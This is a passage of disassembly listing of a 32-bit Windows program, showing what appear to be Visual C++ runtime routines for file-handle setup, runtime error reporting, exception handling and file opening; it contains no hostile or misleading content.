jnz short loc_4231CB inc eax cmp [eax], bl jnz short loc_4231CB loc_4231D5: ; CODE XREF: ___:004231C9j sub eax, edi inc eax mov ebp, eax push ebp call sub_41BC9B mov esi, eax pop ecx cmp esi, ebx jnz short loc_4231EB xor esi, esi jmp short loc_4231F6 ; --------------------------------------------------------------------------- loc_4231EB: ; CODE XREF: ___:004231E5j push ebp push edi push esi call sub_41CAB0 add esp, 0Ch loc_4231F6: ; CODE XREF: ___:004231E9j push edi nop call near ptr 2620E59h mov eax, esi jmp short loc_423203 ; --------------------------------------------------------------------------- loc_423201: ; CODE XREF: ___:00423111j ; ___:00423139j ... xor eax, eax loc_423203: ; CODE XREF: ___:004231AEj ; ___:004231FFj pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41BC9B mov esi, eax pop ecx test esi, esi jnz short loc_42322A push 1Bh call sub_41E1C9 pop ecx loc_42322A: ; CODE XREF: ___:00423220j mov dword_4DAA60, esi mov dword_4DAB60, 20h lea eax, [esi+100h] loc_423240: ; CODE XREF: ___:0042325Cj cmp esi, eax jnb short loc_42325E and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DAA60 add esi, 8 add eax, 100h jmp short loc_423240 ; --------------------------------------------------------------------------- loc_42325E: ; CODE XREF: ___:00423242j lea eax, [esp+10h] push eax nop call near ptr 28B0000h cmp word ptr [esp+42h], 0 jz loc_42333A mov eax, [esp+44h] test eax, eax jz loc_42333A mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_423294 mov esi, eax loc_423294: ; CODE XREF: ___:00423290j cmp dword_4DAB60, esi jge short loc_4232EE mov edi, offset dword_4DAA64 loc_4232A1: ; CODE XREF: ___:004232E4j push 100h call sub_41BC9B test eax, eax pop ecx jz short loc_4232E8 add dword_4DAB60, 20h mov [edi], eax lea ecx, [eax+100h] loc_4232BF: ; CODE XREF: ___:004232D9j cmp eax, ecx jnb short loc_4232DB and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4232BF ; --------------------------------------------------------------------------- loc_4232DB: ; CODE XREF: ___:004232C1j add edi, 4 cmp dword_4DAB60, esi jl short loc_4232A1 jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E8: ; CODE XREF: ___:004232AEj mov esi, dword_4DAB60 loc_4232EE: ; CODE XREF: ___:0042329Aj ; ___:004232E6j xor edi, edi test esi, esi jle short loc_42333A loc_4232F4: ; CODE XREF: ___:00423338j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423331 mov cl, [ebp+0] test cl, 1 jz short loc_423331 test cl, 8 jnz short loc_423313 push eax nop call near ptr 2620000h test eax, eax jz short loc_423331 loc_423313: ; CODE XREF: ___:00423306j mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DAA60[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423331: ; CODE XREF: ___:004232F9j ; ___:00423301j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4232F4 loc_42333A: ; CODE XREF: ___:0042326Fj ; ___:0042327Bj ... xor ebx, ebx loc_42333C: ; CODE XREF: ___:0042339Fj mov eax, dword_4DAA60 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_423397 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_423357 push 0FFFFFFF6h pop eax jmp short loc_423361 ; --------------------------------------------------------------------------- loc_423357: ; CODE XREF: ___:00423350j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423361: ; CODE XREF: ___:00423355j push eax nop call near ptr 26207EDh mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_423386 push edi call near ptr 2620000h nop test eax, eax jz short loc_423386 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_42338C loc_423386: ; CODE XREF: ___:0042336Dj ; ___:00423378j or byte ptr [esi+4], 40h jmp short loc_42339B ; --------------------------------------------------------------------------- loc_42338C: ; CODE XREF: ___:00423384j cmp eax, 3 jnz short loc_42339B or byte ptr [esi+4], 8 jmp short loc_42339B ; --------------------------------------------------------------------------- loc_423397: ; CODE XREF: ___:00423348j or byte ptr [esi+4], 80h loc_42339B: ; CODE XREF: ___:0042338Aj ; ___:0042338Fj ... inc ebx cmp ebx, 3 jl short loc_42333C push dword_4DAB60 call near ptr 2620A05h nop pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4233C0 proc near ; DATA XREF: sub_421F92+Ao ; sub_4220C1+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423460 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4233F3: ; CODE XREF: sub_4233C0+90j cmp esi, 0FFFFFFFFh jz short loc_423459 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_423447 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_423447 js short loc_423452 mov edi, [ebx+8] push ebx call sub_41D2E0 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41D322 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41D3B6 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_423447: ; CODE XREF: sub_4233C0+40j ; sub_4233C0+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4233F3 ; --------------------------------------------------------------------------- loc_423452: ; CODE XREF: sub_4233C0+54j mov eax, 0 jmp short loc_423475 ; --------------------------------------------------------------------------- loc_423459: ; CODE XREF: sub_4233C0+36j mov eax, 1 jmp short loc_423475 ; --------------------------------------------------------------------------- loc_423460: ; CODE XREF: sub_4233C0+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41D322 add esp, 8 pop ebp mov eax, 1 loc_423475: ; CODE XREF: sub_4233C0+97j ; sub_4233C0+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4233C0 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41D322 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423498 proc near ; CODE XREF: sub_41E1C9+9p mov eax, dword_4D9790 cmp eax, 1 jz short loc_4234AF test eax, eax jnz short locret_4234D0 cmp dword_43A674, 1 jnz short locret_4234D0 loc_4234AF: ; CODE XREF: sub_423498+8j push 0FCh call sub_4234D1 mov eax, dword_4D98F8 pop ecx test eax, eax jz short loc_4234C5 call eax loc_4234C5: ; CODE XREF: sub_423498+29j push 0FFh call sub_4234D1 pop ecx locret_4234D0: ; CODE XREF: sub_423498+Cj ; sub_423498+15j retn sub_423498 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234D1 proc near ; CODE XREF: sub_41E1C9+12p ; sub_423498+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43ACE8 loc_4234E4: ; CODE XREF: sub_4234D1+20j cmp edx, [eax] jz short loc_4234F3 add eax, 8 inc ecx cmp eax, offset off_43AD78 jl short loc_4234E4 loc_4234F3: ; CODE XREF: sub_4234D1+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43ACE8[esi] jnz loc_423621 mov eax, dword_4D9790 cmp eax, 1 jz loc_4235FB test eax, eax jnz short loc_423524 cmp dword_43A674, 1 jz loc_4235FB loc_423524: ; CODE XREF: sub_4234D1+44j cmp edx, 0FCh jz loc_423621 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 2680000h nop test eax, eax jnz short loc_42355B lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41C620 pop ecx pop ecx loc_42355B: ; CODE XREF: sub_4234D1+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41B960 inc eax pop ecx cmp eax, 3Ch jbe short loc_42359E lea eax, [ebp+var_1A4] push eax call sub_41B960 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41BD70 add esp, 10h loc_42359E: ; CODE XREF: sub_4234D1+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41C620 lea eax, [ebp+var_A0] push edi push eax call sub_41C630 lea eax, [ebp+var_A0] push offset asc_427BD8 ; "\n\n" push eax call sub_41C630 push off_43ACEC[esi] lea eax, [ebp+var_A0] push eax call sub_41C630 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424C88 add esp, 2Ch pop edi jmp short loc_423621 ; --------------------------------------------------------------------------- loc_4235FB: ; CODE XREF: sub_4234D1+3Cj ; sub_4234D1+4Dj lea eax, [ebp+arg_0] lea esi, off_43ACEC[esi] push 0 push eax push dword ptr [esi] call sub_41B960 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 26207EDh push eax nop call near ptr 2720000h loc_423621: ; CODE XREF: sub_4234D1+2Ej ; sub_4234D1+59j ... pop esi leave retn sub_4234D1 endp ; =============== S U B R O U T I N E ======================================= sub_423624 proc near ; CODE XREF: sub_42393B:loc_423AB3p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DAA60 loc_423633: ; CODE XREF: sub_423624+48j mov eax, [ecx] test eax, eax jz short loc_423670 lea edx, [eax+100h] loc_42363F: ; CODE XREF: sub_423624+28j cmp eax, edx jnb short loc_42365F test byte ptr [eax+4], 1 jz short loc_42364E add eax, 8 jmp short loc_42363F ; --------------------------------------------------------------------------- loc_42364E: ; CODE XREF: sub_423624+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4236B3 loc_42365F: ; CODE XREF: sub_423624+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DAB60 jl short loc_423633 jmp short loc_4236B3 ; --------------------------------------------------------------------------- loc_423670: ; CODE XREF: sub_423624+13j mov esi, 100h push esi call sub_41BC9B test eax, eax pop ecx jz short loc_4236B3 add dword_4DAB60, 20h lea ecx, ds:4DAA60h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_423696: ; CODE XREF: sub_423624+88j cmp eax, edx jnb short loc_4236AE and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_423696 ; --------------------------------------------------------------------------- loc_4236AE: ; CODE XREF: sub_423624+74j shl edi, 5 mov ebx, edi loc_4236B3: ; CODE XREF: sub_423624+39j ; sub_423624+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_423624 endp ; =============== S U B R O U T I N E ======================================= sub_4236B9 proc near ; CODE XREF: sub_42393B+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DAB60 push edi jnb short loc_423719 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DAA60h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423719 cmp dword_43A674, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_42370F sub eax, 0 jz short loc_423706 dec eax jz short loc_423701 dec eax jnz short loc_42370F push ebx push 0FFFFFFF4h jmp short loc_423709 ; --------------------------------------------------------------------------- loc_423701: ; CODE XREF: sub_4236B9+3Ej push ebx push 0FFFFFFF5h jmp short loc_423709 ; --------------------------------------------------------------------------- loc_423706: ; CODE XREF: sub_4236B9+3Bj push ebx push 0FFFFFFF6h loc_423709: ; CODE XREF: sub_4236B9+46j ; sub_4236B9+4Bj nop call near ptr 2610D0Bh loc_42370F: ; CODE XREF: sub_4236B9+36j ; sub_4236B9+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_42372D ; --------------------------------------------------------------------------- loc_423719: ; CODE XREF: sub_4236B9+Cj ; sub_4236B9+28j and dword_4D9718, 0 mov dword_4D9714, 9 or eax, 0FFFFFFFFh loc_42372D: ; CODE XREF: sub_4236B9+5Ej pop edi pop esi retn sub_4236B9 endp ; =============== S U B R O U T I N E ======================================= sub_423730 proc near ; CODE XREF: sub_41E212+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DAB60 push edi jnb short loc_423793 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DAA60h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_423793 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_423793 cmp dword_43A674, 1 jnz short loc_423789 xor eax, eax sub ecx, eax jz short loc_423780 dec ecx jz short loc_42377B dec ecx jnz short loc_423789 push eax push 0FFFFFFF4h jmp short loc_423783 ; --------------------------------------------------------------------------- loc_42377B: ; CODE XREF: sub_423730+41j push eax push 0FFFFFFF5h jmp short loc_423783 ; --------------------------------------------------------------------------- loc_423780: ; CODE XREF: sub_423730+3Ej push eax push 0FFFFFFF6h loc_423783: ; CODE XREF: sub_423730+49j ; sub_423730+4Ej nop call near ptr 2610D0Bh loc_423789: ; CODE XREF: sub_423730+38j ; sub_423730+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_4237A7 ; --------------------------------------------------------------------------- loc_423793: ; CODE XREF: sub_423730+Cj ; sub_423730+2Aj ... and dword_4D9718, 0 mov dword_4D9714, 9 or eax, 0FFFFFFFFh loc_4237A7: ; CODE XREF: sub_423730+61j pop edi pop esi retn sub_423730 endp ; =============== S U B R O U T I N E ======================================= sub_4237AA proc near ; CODE XREF: sub_41E212+32p ; sub_41E212+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DAB60 jnb short loc_4237D2 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DAA60[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4237D2 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4237D2: ; CODE XREF: sub_4237AA+Aj ; sub_4237AA+23j and dword_4D9718, 0 mov dword_4D9714, 9 or eax, 0FFFFFFFFh retn sub_4237AA endp ; =============== S U B R O U T I N E ======================================= sub_4237E7 proc near ; CODE XREF: sub_41E2F0+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DAB60 jnb short loc_423830 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DAA60[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423830 push eax call sub_4237AA pop ecx push eax call near ptr 26107FCh nop test eax, eax jnz short loc_423825 nop call near ptr 26908A7h jmp short loc_423827 ; --------------------------------------------------------------------------- loc_423825: ; CODE XREF: sub_4237E7+34j xor eax, eax loc_423827: ; CODE XREF: sub_4237E7+3Cj test eax, eax jz short locret_42383D mov dword_4D9718, eax loc_423830: ; CODE XREF: sub_4237E7+Aj ; sub_4237E7+22j mov dword_4D9714, 9 or eax, 0FFFFFFFFh locret_42383D: ; CODE XREF: sub_4237E7+42j retn sub_4237E7 endp ; =============== S U B R O U T I N E ======================================= sub_42383E proc near ; DATA XREF: ___:00429024o mov eax, dword_4DAA40 push esi push 14h test eax, eax pop esi jnz short loc_423852 mov eax, 200h jmp short loc_423858 ; --------------------------------------------------------------------------- loc_423852: ; CODE XREF: sub_42383E+Bj cmp eax, esi jge short loc_42385D mov eax, esi loc_423858: ; CODE XREF: sub_42383E+12j mov dword_4DAA40, eax loc_42385D: ; CODE XREF: sub_42383E+16j push 4 push eax call sub_424D11 pop ecx mov dword_4D9A30, eax test eax, eax pop ecx jnz short loc_423891 push 4 push esi mov dword_4DAA40, esi call sub_424D11 pop ecx mov dword_4D9A30, eax test eax, eax pop ecx jnz short loc_423891 push 1Ah call sub_41E1C9 pop ecx loc_423891: ; CODE XREF: sub_42383E+30j ; sub_42383E+49j xor ecx, ecx mov eax, offset off_43AD78 loc_423898: ; CODE XREF: sub_42383E+6Ej mov edx, dword_4D9A30 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43AFF8 jl short loc_423898 xor edx, edx mov ecx, offset dword_43AD88 loc_4238B5: ; CODE XREF: sub_42383E+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DAA60[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4238D2 test eax, eax jnz short loc_4238D5 loc_4238D2: ; CODE XREF: sub_42383E+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4238D5: ; CODE XREF: sub_42383E+92j add ecx, 20h inc edx cmp ecx, offset dword_43ADE8 jl short loc_4238B5 pop esi retn sub_42383E endp ; =============== S U B R O U T I N E ======================================= sub_4238E3 proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424D8E SIZE 00000058 BYTES call sub_41E387 cmp byte_4D9754, 0 jz short locret_4238F6 jmp loc_424D8E ; --------------------------------------------------------------------------- locret_4238F6: ; CODE XREF: sub_4238E3+Cj retn sub_4238E3 endp ; =============== S U B R O U T I N E ======================================= sub_4238F7 proc near ; CODE XREF: sub_41EF78+32p ; sub_41F4BF+6Cp ... arg_0 = dword ptr 4 inc dword_4D98FC push 1000h call sub_41BC9B pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423920 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423931 ; --------------------------------------------------------------------------- loc_423920: ; CODE XREF: sub_4238F7+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423931: ; CODE XREF: sub_4238F7+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4238F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42393B proc near ; CODE XREF: sub_41F262+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423961 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_42396C ; --------------------------------------------------------------------------- loc_423961: ; CODE XREF: sub_42393B+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_42396C: ; CODE XREF: sub_42393B+24j mov eax, 8000h test ecx, eax jnz short loc_423986 test ch, 40h jnz short loc_423982 cmp dword_4D9A08, eax jz short loc_423986 loc_423982: ; CODE XREF: sub_42393B+3Dj or [ebp+var_1], 80h loc_423986: ; CODE XREF: sub_42393B+38j ; sub_42393B+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_4239BE dec eax jz short loc_4239B5 dec eax jz short loc_4239AC loc_423997: ; CODE XREF: sub_42393B+9Fj ; sub_42393B+E8j ... mov dword_4D9714, 16h mov dword_4D9718, ebx jmp loc_423BD1 ; --------------------------------------------------------------------------- loc_4239AC: ; CODE XREF: sub_42393B+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_4239C5 ; --------------------------------------------------------------------------- loc_4239B5: ; CODE XREF: sub_42393B+57j mov [ebp+var_C], 40000000h jmp short loc_4239C5 ; --------------------------------------------------------------------------- loc_4239BE: ; CODE XREF: sub_42393B+54j mov [ebp+var_C], 80000000h loc_4239C5: ; CODE XREF: sub_42393B+78j ; sub_42393B+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_4239F3 cmp eax, 20h jz short loc_4239EA cmp eax, 30h jz short loc_4239E1 cmp eax, 40h jnz short loc_423997 mov [ebp+var_10], esi jmp short loc_4239F6 ; --------------------------------------------------------------------------- loc_4239E1: ; CODE XREF: sub_42393B+9Aj mov [ebp+var_10], 2 jmp short loc_4239F6 ; --------------------------------------------------------------------------- loc_4239EA: ; CODE XREF: sub_42393B+95j mov [ebp+var_10], 1 jmp short loc_4239F6 ; --------------------------------------------------------------------------- loc_4239F3: ; CODE XREF: sub_42393B+90j mov [ebp+var_10], ebx loc_4239F6: ; CODE XREF: sub_42393B+A4j ; sub_42393B+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423A40 jz short loc_423A3B cmp ecx, ebx jz short loc_423A3B cmp ecx, edi jz short loc_423A32 cmp ecx, 200h jz short loc_423A59 cmp ecx, 300h jnz loc_423997 mov [ebp+var_8], 2 jmp short loc_423A69 ; --------------------------------------------------------------------------- loc_423A32: ; CODE XREF: sub_42393B+D8j mov [ebp+var_8], 4 jmp short loc_423A69 ; --------------------------------------------------------------------------- loc_423A3B: ; CODE XREF: sub_42393B+D0j ; sub_42393B+D4j mov [ebp+var_8], esi jmp short loc_423A69 ; --------------------------------------------------------------------------- loc_423A40: ; CODE XREF: sub_42393B+CEj cmp ecx, 500h jz short loc_423A62 cmp ecx, 600h jz short loc_423A59 cmp ecx, edx jz short loc_423A62 jmp loc_423997 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_42393B+E0j ; sub_42393B+113j mov [ebp+var_8], 5 jmp short loc_423A69 ; --------------------------------------------------------------------------- loc_423A62: ; CODE XREF: sub_42393B+10Bj ; sub_42393B+117j mov [ebp+var_8], 1 loc_423A69: ; CODE XREF: sub_42393B+F5j ; sub_42393B+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423A88 mov ecx, dword_4D971C not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423A88 push 1 pop esi loc_423A88: ; CODE XREF: sub_42393B+138j ; sub_42393B+148j test al, 40h jz short loc_423A96 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423A96: ; CODE XREF: sub_42393B+14Fj test ah, 10h jz short loc_423A9D or esi, edi loc_423A9D: ; CODE XREF: sub_42393B+15Ej test al, 20h jz short loc_423AA9 or esi, 8000000h jmp short loc_423AB3 ; --------------------------------------------------------------------------- loc_423AA9: ; CODE XREF: sub_42393B+164j test al, 10h jz short loc_423AB3 or esi, 10000000h loc_423AB3: ; CODE XREF: sub_42393B+16Cj ; sub_42393B+170j call sub_423624 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423AD4 and dword_4D9718, 0 mov dword_4D9714, 18h jmp short loc_423B12 ; --------------------------------------------------------------------------- loc_423AD4: ; CODE XREF: sub_42393B+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call near ptr 273075Dh nop mov esi, eax cmp esi, edi jz short loc_423B05 push esi nop call near ptr 2620000h test eax, eax jnz short loc_423B19 push esi nop call near ptr 2670000h loc_423B05: ; CODE XREF: sub_42393B+1B6j call near ptr 26908A7h nop push eax call sub_420314 pop ecx loc_423B12: ; CODE XREF: sub_42393B+197j mov eax, edi jmp loc_423BEF ; --------------------------------------------------------------------------- loc_423B19: ; CODE XREF: sub_42393B+1C1j cmp eax, 2 jnz short loc_423B24 or [ebp+var_1], 40h jmp short loc_423B2D ; --------------------------------------------------------------------------- loc_423B24: ; CODE XREF: sub_42393B+1E1j cmp eax, 3 jnz short loc_423B2D or [ebp+var_1], 8 loc_423B2D: ; CODE XREF: sub_42393B+1E7j ; sub_42393B+1ECj push esi push ebx call sub_4236B9 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DAA60h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423BD6 test al, 80h jz short loc_423BD6 test byte ptr [ebp+arg_4], 2 jz short loc_423BD6 push 2 push 0FFFFFFFFh push ebx call sub_422633 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423B8B cmp dword_4D9718, 83h jz short loc_423BD6 jmp short loc_423BCA ; --------------------------------------------------------------------------- loc_423B8B: ; CODE XREF: sub_42393B+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F051 add esp, 0Ch test eax, eax jnz short loc_423BB8 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423BB8 push [ebp+var_10] push ebx call sub_424DE6 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423BCA loc_423BB8: ; CODE XREF: sub_42393B+265j ; sub_42393B+26Bj push 0 push 0 push ebx call sub_422633 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423BD6 loc_423BCA: ; CODE XREF: sub_42393B+24Ej ; sub_42393B+27Bj push ebx call sub_41E212 pop ecx loc_423BD1: ; CODE XREF: sub_42393B+6Cj or eax, 0FFFFFFFFh jmp short loc_423BEF ; --------------------------------------------------------------------------- loc_423BD6: ; CODE XREF: sub_42393B+221j ; sub_42393B+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423BED test byte ptr [ebp+arg_4], 8 jz short loc_423BED mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423BED: ; CODE XREF: sub_42393B+29Fj ; sub_42393B+2A5j mov eax, ebx loc_423BEF: ; CODE XREF: sub_42393B+1D9j ; sub_42393B+299j pop edi pop esi pop ebx leave retn sub_42393B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423BF4 proc near ; CODE XREF: sub_41F44A+5Ep ; sub_42001D+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C18 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4D9904 xor ebx, ebx cmp eax, ebx jnz short loc_423C63 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427908 push esi call near ptr 2600000h nop test eax, eax jz short loc_423C41 mov eax, esi jmp short loc_423C5E ; --------------------------------------------------------------------------- loc_423C41: ; CODE XREF: sub_423BF4+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4C91BC push esi push ebx nop call near ptr 2610000h test eax, eax jz loc_423D29 push 2 pop eax loc_423C5E: ; CODE XREF: sub_423BF4+4Bj mov dword_4D9904, eax loc_423C63: ; CODE XREF: sub_423BF4+2Fj cmp eax, 2 jnz short loc_423C8C mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423C74 mov eax, dword_4D97D0 loc_423C74: ; CODE XREF: sub_423BF4+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call near ptr 2610000h nop jmp loc_423D2B ; --------------------------------------------------------------------------- loc_423C8C: ; CODE XREF: sub_423BF4+72j cmp eax, 1 jnz loc_423D29 cmp [ebp+arg_10], ebx jnz short loc_423CA2 mov eax, dword_4D97E0 mov [ebp+arg_10], eax loc_423CA2: ; CODE XREF: sub_423BF4+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call near ptr 2700000h nop mov [ebp+var_20], eax cmp eax, ebx jz short loc_423D29 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41BD10 add esp, 0Ch jmp short loc_423CF8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; 